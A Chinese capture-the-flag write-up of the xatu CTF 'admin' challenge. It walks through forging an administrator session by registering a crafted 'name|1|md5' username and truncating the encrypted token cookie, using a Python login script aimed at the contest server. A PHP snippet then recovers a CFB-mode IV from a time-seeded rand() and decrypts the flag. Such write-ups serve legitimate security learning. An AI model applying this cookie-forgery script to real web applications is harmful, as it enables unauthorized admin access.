xatu CTF admin 复盘

admin

这题和逆向狗研究了一晚上,只过了第一关。但是题目还是蛮有意思的

hint www.tar.gz
大致浏览看了下功能

刚开始一直想用hitcon 2015的crypt1的思路去伪造登陆,但是后来发现因为在

$token = '';
$user = '';
$admin = 0;
if (isset($_COOKIE['token'])&&isset($_COOKIE['sign'])) {
    $sign = $_COOKIE['sign'];
    $token = $_COOKIE['token'];
    $arr = explode('|', token_decrypt($token));

    if (count($arr) == 3) {
        if (md5(get_indentify().$arr[0]) === $arr[2] && $sign === $arr[2]) {
            $user = $arr[0];
            $admin = (int)$arr[1];
        }
    }
}

有md5校验,因此第一种想法被pass了

然后逆狗想到可以 构造 $username|$admin|$md5+padding 为用户名注册然后修改cookie即可伪造登录
伪造思路

先注册 //username

登录拿到md5

然后再注册username|1|md5+padding(按他的padding规则)

然后登录以后修改cookie sign=第一个用户名的md5

另一个cookie按照规则减去后面的多余项

构造一个登录脚本就快很多了

直接拿到cookie

# -*- coding:utf-8 -*-

import urllib
import urllib2
import cookielib
import time
import random
import requests

cookies=cookielib.LWPCookieJar()
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookies))
url="http://117.34.111.15:88/index.php?action=login"
data={"user":'bertram2|1|176ed2e83a380d993ec372a9a0d0c92d',"pwd":'123456',"submit":"Submit"}

post_info = urllib.urlencode(data)
request = urllib2.Request(url,post_info)
html=opener.open(request).read()
url2="http://117.34.111.15:88/index.php?action=manage"
#response=opener.open(url2)
#the_page=response.read()
#print cookies
md5="176ed2e83a380d993ec372a9a0d0c92d"
for item in cookies:
    if item.name == "token":
        item.value=item.value[0:96]
        print item.value+"\n"
        #print item.value
    if item.name == "sign":
        item.value = md5
        print item.value+"\n"

response=opener.open(url2)
the_page=response.read()
#print the_page

#def get_random()

因为是CFB模式
image

第二个明文分组的解密只与第一个分组的密文有关,因此可以解出flag的后半段
然而没什么luan用!

比赛结束以后pcat说是压缩包的时间,然后把每个时间都试过去?然而?

次日记:
额……pcat真是菜的抠脚
问出题人要了key和iv发现iv的时间戳就是back.txt的属性里的修改时间,证实了自己的想法,昨晚pcat说他用这个时间戳复现不出,就没去试了,早上再试一次就出了flag了。

<?php
function getRandChar($length){
        $str = null;
        $strPol = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
        for($i=0;$i<$length;$i++){
                $n = rand(0, strlen($strPol) - 1);
                $str.=$strPol[$n];
        }
        return $str;
}

srand(1492139553 / 300);
$iv = getRandChar(16);
echo bin2hex($iv)."\n";

echo "\n";
$text = bin2hex(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, '9418b4d829B9ec9F', hex2bin('34018770e87f5195923a434ce1a8bb9defe76053fff2ea04af6adb70e3f7d3792f22889951bec6dddf32cfaa7a33d4a3'), MCRYPT_MODE_CFB, hex2bin('516664694c6936513870656f55373270')));

echo $text;
?>

image

image

唉,还是大意吧……刚开始试的时候都是用windows,结束了才想到windows和linux的随机数不一样

发表评论